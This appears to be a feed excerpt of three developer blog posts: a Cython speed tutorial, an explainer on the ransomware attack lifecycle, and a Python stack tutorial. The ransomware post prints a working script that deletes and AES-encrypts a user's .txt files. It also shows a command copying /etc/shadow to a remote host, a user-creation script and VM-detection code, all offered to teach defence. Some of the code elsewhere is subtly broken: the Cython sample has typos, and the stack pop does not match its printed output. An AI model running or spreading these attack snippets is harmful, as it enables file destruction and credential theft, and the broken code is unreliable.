&lt;p&gt;Despite being widely used for various purposes, Python, being an interpreted language, has a slower execution speed compared to its compiled counterparts like Rust, Golang, C, and others. However, it is possible to combine the ease of development in Python with the execution speed of its parent language C by using the Cython module.&lt;/p&gt;

&lt;p&gt;Cython is an extended version of the Python language that utilizes its static compiler (which compiles only once, generating executable files) to convert Cython code into C. Through this process, the code originally written in Python can be compiled into C, drastically increasing its execution speed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; There are several implementations of Python, including versions in Java (Jython), C# (IronPython), and Python itself (PyPy).&lt;/p&gt;

&lt;p&gt;Why use Cython?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Widely used and mature&lt;/li&gt;
&lt;li&gt;Execution speed comparable to C&lt;/li&gt;
&lt;li&gt;You can directly call functions written in C or C++&lt;/li&gt;
&lt;li&gt;Enables you to create your own libraries such as Numpy or Pandas in an efficient and safe way.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here we can see the difference between the syntax of a Python code and a Cython code.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Python&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import math

def calc(start: int, end: int) -&amp;gt; None:
    p: int = start
    factor: int = 1000*1000

    while p &amp;lt; end:
        p +=1
        math.sqrt((p - factor) * (p - fator))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Cython&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import cython
from libc.math cimport sqrt

def calc(start: cython.int, end: cython.int):
    p: cython.int = start
    factor: cython.in = 1000*1000

    while p &amp;lt; end:
        pos +=1
        sqrt((p - factor) * (p - factor))

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can see that the main difference in the code is due to the data typing and the declarations of functions in C. This process enables the compilation of our file.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implementation
&lt;/h2&gt;

&lt;p&gt;Creating the project&lt;/p&gt;

&lt;p&gt;&lt;code&gt;mkdir python_to_cython&lt;br&gt;
cd python_to_cython&lt;br&gt;
python3 -m venv venv&lt;br&gt;
source venv/bin/activate&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Installing the module&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pip install cython&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;With this, we can begin our implementation. We will create a function to calculate the factorial of a number. As we know, a standard factorial calculation function has a Big O notation of 'n', so we will be able to see a clear difference in execution time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; You can use Cython to create compilations of various different files beyond simple functions. This includes API calls in views of Django, Flask, or FastAPI, asynchronous functions, ORM calls like Django-ORM or SQLAlchemy, and more.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;example.py&lt;br&gt;
&lt;/p&gt;


&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def factorial(n) -&amp;gt; int:
    result = 1
    for i in range(1, n+1):
        result *= i
    return result

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After creating our function, we will create a new file with the &lt;code&gt;*.pyx&lt;/code&gt; extension that contains our code to be converted to C. In this file, we can use the same code from our &lt;code&gt;example.py&lt;/code&gt; file.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;example.pyx&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def factorial(n) -&amp;gt; int:
    result = 1
    for i in range(1, n+1):
        result *= i
    return result
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, we will create our setup.py file. In this file, instructions will be defined for importing Python modules, including information on how they should be built and installed. When used in conjunction with Cython, the script in setup.py takes information about the Cython files, which are converted into C files and subsequently transformed into language extensions.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;setup.py&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from distutils.core import setup
from Cython.Build import cythonize

setup(
    ext_modules = cythonize(['example.pyx'])
)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After executing this file with the command &lt;code&gt;python3 setup.py&lt;/code&gt;, some files will be generated, and our structure will look like this:&lt;/p&gt;

&lt;p&gt;root&lt;br&gt;
├── build&lt;br&gt;
│   └── temp&lt;br&gt;
│       └── example.so&lt;br&gt;
├── venv&lt;br&gt;
├── example.c&lt;br&gt;
├── example.cython&lt;br&gt;
├── example.py&lt;br&gt;
├── example.pyx&lt;br&gt;
└── setup.py&lt;/p&gt;

&lt;p&gt;With this, we will have our executable file compiled in C, and we can proceed to perform a performance test.&lt;/p&gt;

&lt;p&gt;We will create a new file called &lt;code&gt;test.py&lt;/code&gt; and import both our original function and our compiled function. However, before doing this, we will rename our &lt;code&gt;example.py&lt;/code&gt; file to avoid import issues, by using the command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;mv example.py example_python.py&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now we will import both modules into our test file and set up a simple counter to measure the execution time of the functions using the &lt;code&gt;time&lt;/code&gt; module.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;test.py&lt;br&gt;
&lt;/p&gt;


&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import time
import example
import example_python

N = 100000 #200000, 300000, 400000, 500000
start_time = time.time()
perms = example.factorial(N)
end_time = time.time()
print("Execution time:", end_time - start_time, "seconds")


start_time = time.time()
example_python.factorial(N)
end_time = time.time()
print("Execution time:", end_time - start_time, "seconds")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To complete our test, we just need to execute it to see the difference in execution speed between the two functions. For a better visualization, we will run the test five times with different values of N. Below are the results:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faglyh4c5zy4hi5survnn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faglyh4c5zy4hi5survnn.png" alt="Cython vs Python" width="800" height="515"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Through a simple metric of variance, we can see that the variance of the code executed in Cython (2988.98 seconds²) is notably lower than the variance of the execution in Python (7636.24 seconds²), which directly reflects on the stability of the response times of the calls.&lt;/p&gt;

&lt;p&gt;As we can see, we can increase the execution speed of our application by using Cython. This allows us to compile sections of our code originally written in Python, which are bottlenecks in the flow, into Cython, thus optimizing our application in a simple and efficient manner.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; Next time you create your functions, use Cython instead of using them in Python.&lt;/p&gt;

&lt;p&gt;You can access the repository of this project by clicking on this link&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/AlissonDuarte/PythonToCython/tree/master" rel="noopener noreferrer"&gt;Click here plzzz&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>c</category>
      <category>computerscience</category>
      <category>programming</category>
    </item>
    <item>
      <title>Do not click, it's ransomware!</title>
      <dc:creator>Alisson</dc:creator>
      <pubDate>Thu, 14 Dec 2023 04:11:28 +0000</pubDate>
      <link>https://dev.to/shahahaco/do-not-click-its-ransomware-20mb</link>
      <guid>https://dev.to/shahahaco/do-not-click-its-ransomware-20mb</guid>
      <description>&lt;p&gt;Ransomware is a category of malicious software designed for data 'kidnapping' with the intent of extortion. Throughout history, various ransomwares have been constructed and gained notoriety, both for the magnitude of their impact and the nature of their victims. In this post, we'll explore a high-level step-by-step overview of the ransomware lifecycle.&lt;/p&gt;

&lt;p&gt;At first, like many types of malicious code, early prototypes of ransomware trace their origins back to the late 1980s and targeted small volumes of devices. With the evolution of the internet and the shift in malware's purpose from solely destructive to a commercial phase, the levels of techniques used, along with the scale of their infected targets, have grown alarmingly. As of 2023, the average cost of a ransomware attack is approximately $1.85 million. Following this, we will delve into the step-by-step process of a ransomware attack to enhance our understanding and revisit some key security concepts, allowing for better protection.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sumary
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Deployment: The initial stage where the attacker infiltrates the target system.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Installation: The process by which the ransomware establishes persistence on the compromised machine.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Control: Managing the ransomware's activities and maintaining access to the system.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Encryption: Executing the encryption process on the victim's files, rendering them inaccessible.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Extortion: The final stage where the attacker demands a ransom for decrypting the files and restoring access to the victim.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Deployment
&lt;/h2&gt;

&lt;p&gt;The first step in a ransomware attack is the deployment of malicious code on target machines. This deployment can occur in various ways, such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Drive-by download:&lt;/strong&gt; Typically, users unknowingly download ransomware through a Trojan, often via cracked programs or pirated files.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Phishing:&lt;/strong&gt; Fake emails or SMS containing malicious redirect links.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's consider a scenario where you receive an email with the message "A suspicious purchase of $100 has been made on your credit card, click the following link to dispute. &lt;a href="//www.google.com"&gt;fake link&lt;/a&gt;". If you execute this code in &lt;strong&gt;Golang&lt;/strong&gt;, you'll see how straightforward it is to create an automatic download based on the user's request.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package main

import (
    "fmt"
    "net/http"
)

func main() {
    //
    http.HandleFunc("/download", func(w http.ResponseWriter, r *http.Request) {
        fileName := "example.txt"

        w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=%s", fileName))
        w.Header().Set("Content-Type", "application/octet-stream")

        fileContent := []byte("File content.")

        w.Write(fileContent)
    })

    fmt.Println("Server http://localhost:8080 on!")
    http.ListenAndServe(":8080", nil)
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, as nothing is perfect, it is possible to protect yourself from these forms of infection through known virtualization techniques. You could employ a technique known as &lt;em&gt;edge sandboxing&lt;/em&gt;, where the where commonly the browser itself provides a virtual environment for file execution, allowing for the detection of malicious behaviors. However, this method may become limited, as resource consumption is a concern, and malware can easily detect if it is running in a virtual environment by checking the files present in that environment as the code below shows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int main() {
    FILE *fp;
    char buffer[128];
    int isVirtualMachine = 0;

    if ((fp = fopen("/sys/class/dmi/id/product_name", "r"))) {
        fgets(buffer, sizeof(buffer), fp);
        if (strstr(buffer, "Virtual") != NULL || strstr(buffer, "VMware") != NULL) {
            isVirtualMachine = 1;
        }
        fclose(fp);
    }

    if (isVirtualMachine) {
        printf("Look like a virtual machine.\n");
    } else {
        printf("It doesn't look like a virtual machine.\n");
    }

    return 0;
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;hint:&lt;/strong&gt; To execute this code just run in your terminal:&lt;br&gt;
&lt;code&gt;gcc -o executable_name file_name.c&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To overcome this issue, there is also the technique of bare-metal detonation, where a real physical machine acts as an intermediary between the server and the client, running files and code in isolation before sending them to the end client. This way, malicious encryption actions are easily detected and contained.&lt;/p&gt;
&lt;h2&gt;
  
  
  Instalation
&lt;/h2&gt;

&lt;p&gt;Once the malicious initial payload has been inserted into the target, it will attempt a series of procedures such as trying to communicate with its creator, checking if it is running on a virtual machine, self-installing, downloading missing parts of code, searching for vulnerabilities, and other actions.&lt;/p&gt;

&lt;p&gt;Considering that the target machine is deemed valuable for infection, the ransomware can initiate a series of self-defense and damage assurance processes. These processes may include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Theft of private keys&lt;/li&gt;
&lt;li&gt;Disabling recovery and backup systems&lt;/li&gt;
&lt;li&gt;Inserting its keys into the Registry (Windows) to ensure its startup along with the OS bootloader.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The primary defense against this stage involves monitoring the machine. Utilizing &lt;em&gt;inotify&lt;/em&gt; alerts on Linux and &lt;em&gt;Windows Defender&lt;/em&gt; on Windows, users can observe crucial signs that may indicate compromise. It is also essential to periodically check if backup and recovery systems are generating system snapshots as expected. Measures like these ensure that recovery mechanisms are consistently operational, enabling the restoration of stolen information even in worst-case scenarios where the system compromise is total.&lt;/p&gt;
&lt;h2&gt;
  
  
  Controll
&lt;/h2&gt;

&lt;p&gt;Although it's not a rule, most malware generally tries to establish communication with its creator, whether through HTTP requests, network sockets, or more complex services like TOR. This kind of practice offers various advantages to the attacker, such as mapping the target, selecting specific files or servers, and even assessing the target's value. Therefore, when a machine is infected, the ransomware doesn't necessarily start its encryption process right away, but it might well remain dormant until it receives some instruction from the attacker.&lt;/p&gt;

&lt;p&gt;The remote control process of malware can work in many different ways, but once infected, the target machine needs to be very careful with its next steps. For example, imagine that you downloaded a pirated game or an unofficial library of a programming language. By running any script from the library or the game, you might be starting a script for creating an account and connecting to SSH servers, for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/bin/bash

# creating a new user
sudo adduser cript &amp;lt;&amp;lt; EOF
[password]
[password]
[name]
[number1]
[number2]
[number3]
[others]
Y
EOF

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or another script like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo scp /etc/shadow test@ipaddress-remote:/path/dst/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This second script copies the file of users and passwords from a Linux machine and sends it to the attacker. Although the passwords are encrypted, if the password is weak, it can be easily deciphered through hash databases or common cryptology techniques. As you can see, a machine infected with malicious code can become the target of various types of attacks or data theft.&lt;/p&gt;

&lt;h2&gt;
  
  
  Encryption
&lt;/h2&gt;

&lt;p&gt;Once the attacker establishes a connection and sets the encryption key, the data hijacking process begins. With it, files of any format are lost, be they .GIF, .xml, .png, executables, Microsoft Office files, and any others. In the example below, we are using a Python script to encrypt all files in the Home directory recursively that are in the .txt format.&lt;/p&gt;

&lt;p&gt;As you can see, this script has 4 steps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;List the files and read their content.&lt;/li&gt;
&lt;li&gt;Remove the original file.&lt;/li&gt;
&lt;li&gt;Encrypt the content of the files.&lt;/li&gt;
&lt;li&gt;Save the encrypted content in a &lt;strong&gt;.ransomcrypter&lt;/strong&gt; file.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
#! /usr/bin/env python

import os
import glob
import pyaes
import pathlib

target_files = ["*.txt"]
try:
    desktop = pathlib.Path.home()
except Exception:
    pass

def encrypt():

    for files in target_files:
        for format_file in glob.glob(files):
            f = open(f'{desktop}\\{format_file}', 'rb')
            file_data = f.read()
            f.close()

            os.remove(f'{desktop}\\{format_file}')
            encrypt_key = b"somerandomkeylol"
            aes = pyaes.AESModeOfOperationCTR(encrypt_key)
            data_encrypted = aes.encrypt(file_data)

            encrypt_file = format_file + ".ransomcrypter"
            encrypt_file = open(f'{desktop}\\{encrypt_file}', 'wb')
            encrypt_file.write(data_encrypted)
            encrypt_file.close()

if __name__ == "__main__":
    encrypt()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Currently, there are various types of encryption methods available for data ransom, but most ransomware attacks rely on symmetric and asymmetric keys, each of them having advantages and disadvantages compared to others.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;hint:&lt;/strong&gt; In some cases, there are ransomware strains that employ both types of encryption, thereby surpassing limitations of each method.&lt;/p&gt;

&lt;h3&gt;
  
  
  Symmetric keys
&lt;/h3&gt;

&lt;p&gt;Malwares that use symmetric keys often generate them through information from the target device itself. Encryption with this type of key offers several advantages to the attacker because it is a simple and effective system. By using a symmetric key, the attacker ensures low resource usage on the machine, avoiding detection by monitoring systems and increasing encryption speed. Another common benefit of this type of key is that, since each key is generated from information on the target machine, each target has a different encryption key, which allows for better observability by the attacker. This helps them determine which attacks were successful or not.&lt;/p&gt;

&lt;p&gt;However, not everything that glitters is gold; this method of attack has a vulnerability that can be fatal for the attacker. By using a key generated by the target machine itself, the user can recover this key by accessing the computer's volatile memory. When accessing the memory device, simply look for clues such as messages, keys, and other hints about the encryption key. That's why ransomware solely relying on symmetric keys is becoming less popular.&lt;/p&gt;

&lt;h3&gt;
  
  
  Asymmetric keys
&lt;/h3&gt;

&lt;p&gt;Asymmetric keys are based on pairs of public and private keys. If information is encrypted with the public key, it can only be decrypted with the private key, and vice versa. When a private key encrypts a file, only its corresponding public key can decrypt it.&lt;/p&gt;

&lt;p&gt;By using a public key for encryption, the attacker eliminates the success of any forensic memory analysis attempts, leaving the target with options such as searching for vulnerabilities in the encryption algorithm, conducting brute force tests, paying the attacker, or being prepared for the situation through system backups.&lt;/p&gt;

&lt;p&gt;In this case of keys, the attacker uses their public key to encrypt the target's data. The key is accessed by the malware in two ways.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Embedded key:&lt;/strong&gt; The encryption key is stored in the machine's memory, and the process can occur while the computer is online or offline.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Downloaded key:&lt;/strong&gt; In this case, the key is downloaded from the attacker's server whenever the computer is online.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;hint:&lt;/strong&gt; At another time, we will talk more about cryptography.&lt;/p&gt;

&lt;p&gt;The biggest advantage of this method is that asymmetric keys have very large sizes (2048 bits or greater), which makes a brute-force attack infeasible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;hint:&lt;/strong&gt; A common practice in more modern ransomware is the use of both encryption methods.&lt;/p&gt;

&lt;p&gt;Indeed, ransomware can take advantage of the efficiency of symmetric keys and the security of asymmetric keys during the same attack. To do this, it could use the symmetric key to encrypt files. Once the encryption of the target is completed, the symmetric key is encrypted with a public key (asymmetric key), making it inaccessible to the victim. This way, the ransom is demanded in exchange for access to the attacker's private key, which then enables access to the encryption key used for the files.&lt;/p&gt;

&lt;h2&gt;
  
  
  Extortion
&lt;/h2&gt;

&lt;p&gt;After the kidnapping is complete, whether of all data or important files, the extortion phase begins. Often, it is only during this phase that the target realizes they have fallen victim to a digital scam. Typically, this phase is straightforward and simply informs the target that their data has been stolen and that they need to send some payment to a virtual address, usually in some cryptocurrency.&lt;/p&gt;

&lt;p&gt;"Should I pay the attacker?" The answer is always depends, usually the amount charged for common targets is lower than the amount that would be spent on data recovery. There is also the factor of the importance of the kidnapped data. "Are these data I can live without?" Each situation requires a specific assessment to decide which measures should be taken. However, there are suggestions in case you ever find yourself in this situation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Disconnect the machine from any network.&lt;/li&gt;
&lt;li&gt;Contact the local police.&lt;/li&gt;
&lt;li&gt;Do not accept communications from anonymous sources or the attacker without first receiving legal guidance on the issue.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://github.com/AlissonDuarte/RansomwareScripts"&gt;You can see this repository and others by clicking this link&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>go</category>
      <category>python</category>
      <category>ransomware</category>
    </item>
    <item>
      <title>Solving Real Validation and Performance Issues with Stacks and Queues</title>
      <dc:creator>Alisson</dc:creator>
      <pubDate>Thu, 16 Nov 2023 11:26:07 +0000</pubDate>
      <link>https://dev.to/shahahaco/solving-real-validation-and-performance-issues-with-stacks-and-queues-3bpb</link>
      <guid>https://dev.to/shahahaco/solving-real-validation-and-performance-issues-with-stacks-and-queues-3bpb</guid>
      <description>&lt;p&gt;In the current world, new algorithms are constantly being developed to tackle complex challenges. However, the crucial role of simple algorithms in the realm of computing should not be underestimated. In this context, we will delve into two fundamental data structures. We will practically explore how to create and utilize these structures to solve real-world problems. This comprehensive guide will provide a complete understanding of the creation and implementation of these structures, bridging the gap from theory to practice.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stack
&lt;/h2&gt;

&lt;p&gt;Let's begin our journey into data structures and algorithms by studying the &lt;em&gt;Stacks&lt;/em&gt;. This is a dynamic set that operates on the principle of Last In, First Out (LIFO). The stack data structure serves as the foundation for more complex structures such as &lt;em&gt;Trees&lt;/em&gt; and &lt;em&gt;Graphs&lt;/em&gt;. Its ability to orderly store data is highly useful for keeping track of paths in both previously mentioned structures, reversing text documents, browser tabs, and even processor tasks. The primary operations with the stack are Insert, Pop, Peek Top, and Empty, commonly used for inserting, deleting (which takes no arguments), checking the last element inserted in the stack and currently at the top, and verifying if the stack is empty.&lt;/p&gt;

&lt;p&gt;The fundamental structure of a stack can be interpreted as S[1, N], where N is the maximum size of the set and represents the top of the stack, i.e., the last element inserted.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7v9qyg99h2e0sfsz26mq.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7v9qyg99h2e0sfsz26mq.jpeg" alt="Stack concept" width="586" height="582"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's start our implementation.&lt;/p&gt;

&lt;p&gt;First we create our virtual environment and import the Numpy package to help us with implementation&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mkdir DataStructure
cd DataStructure
python3 -m venv venv
source venv/bin/activate
pip install numpy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we will start building our Stack class by creating 3 variables.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;size -&amp;gt; &lt;em&gt;the size of our stack&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;top -&amp;gt;  &lt;em&gt;the beginning of the stack&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;values -&amp;gt; &lt;em&gt;the array that will store our elements&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import numpy as np

class Stack:
    def __init__(self, size):
        self.__size = size
        self.__top = -1
        self.__values = np.empty(self.__size, dtype=int)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first method has been designed to check whether the stack is already full. It is a straightforward approach that examines whether the index of the first element equals the stack size. This method is employed exclusively when adding new elements, and the double underscores signify that it is a private method, intended for use only within the class.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    def __is_full(self):
        return self.__top == self.__size - 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; The array positions starts with 0. An array with lenght equals to five has the following indices 0,1,2,3,4.&lt;/p&gt;

&lt;p&gt;The second method has been implemented to check whether the stack is empty. This is indicated when the value of the index of the top element equals the initial value set during the creation of the class.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    def __is_empty(self):
        return self.__top == -1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The third method is responsible for inserting a new element into the stack. Initially, it checks if the stack is already full; if it is, it will return an exception. If the stack is not full, it increments the value of the index of the first element by 1 and adds the new element to the stack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    def push(self, value):
        if self.__is_full():
            raise Exception("The stack is full")
        else:
            self.__top += 1
            self.__values[self.__top] = value
            return f"the value: {value} has been entered!"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fourth method removes the item from the top of the stack. With this method and the one before it, we implement the Last In, First Out (LIFO) principle. Initially, it checks if the stack is already empty. If it is not empty, it updates the index of the removed element. It's important to note that the stack does not erase the element itself but rather updates the index, allowing that position to be overwritten when a new element arrives.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    def pop(self):
        if self.__is_empty():
            raise Exception("The stack is empty")
        else:
            self.__top -= 1
            return f"the value: {self.__values[self.__top]} has been removed"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, we have the method that returns the element at the top of the stack. The other elements in the stack are not visible to the user; thus, the user has visibility only of the input and output elements.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    def peek_top(self):
        if self.__top != -1:
            return self.__values[self.__top]
        else:
            return -1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that our stack has been structured, let's explore an example of how to use this data structure.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example usage of the Stack class
&lt;/h3&gt;

&lt;p&gt;We will create an instance of the Stack class and set the size of its array to five. Subsequently, we will iterate five times in a for loop, pushing the value of each iteration onto our stack. Later, we can ascertain the last element in the stack by invoking the 'peek_top' method.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;stack = Stack(5)

for x in range(5):
    print(stack.push(x))
print("Top of stack is:", stack.peek_top())
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The return of this test it's:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;the value: 0 has been entered!
the value: 1 has been entered!
the value: 2 has been entered!
the value: 3 has been entered!
the value: 4 has been entered!
Top of stack is: 4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And if we exceed the stack size by increasing the iteration to six we will receive this Exception:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Traceback (most recent call last):
  File "stack.py", line 63, in &amp;lt;module&amp;gt;
    print(stack.push(x))
  File "stack.py", line 31, in push
    raise Exception("The stack is full")
Exception: The stack is full
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can also test removing items at the top of the list with the following code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for _ in range(4):
    print(stack.pop())
print("Top of stack is:", stack.peek_top())
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; We use the underscore in this iteration because we don't wanna save the value of each iteration.&lt;/p&gt;

&lt;p&gt;The return of the pop method:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;the value: 3 has been removed
the value: 2 has been removed
the value: 1 has been removed
the value: 0 has been removed
Top of stack is: 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And in case we try to remove an element with an empty stack, we receive an exception:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Traceback (most recent call last):
  File "stack.py", line 67, in &amp;lt;module&amp;gt;
    print(stack.pop())
  File "stack.py", line 43, in pop
    raise Exception("The stack is empty")
Exception: The stack is empty
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



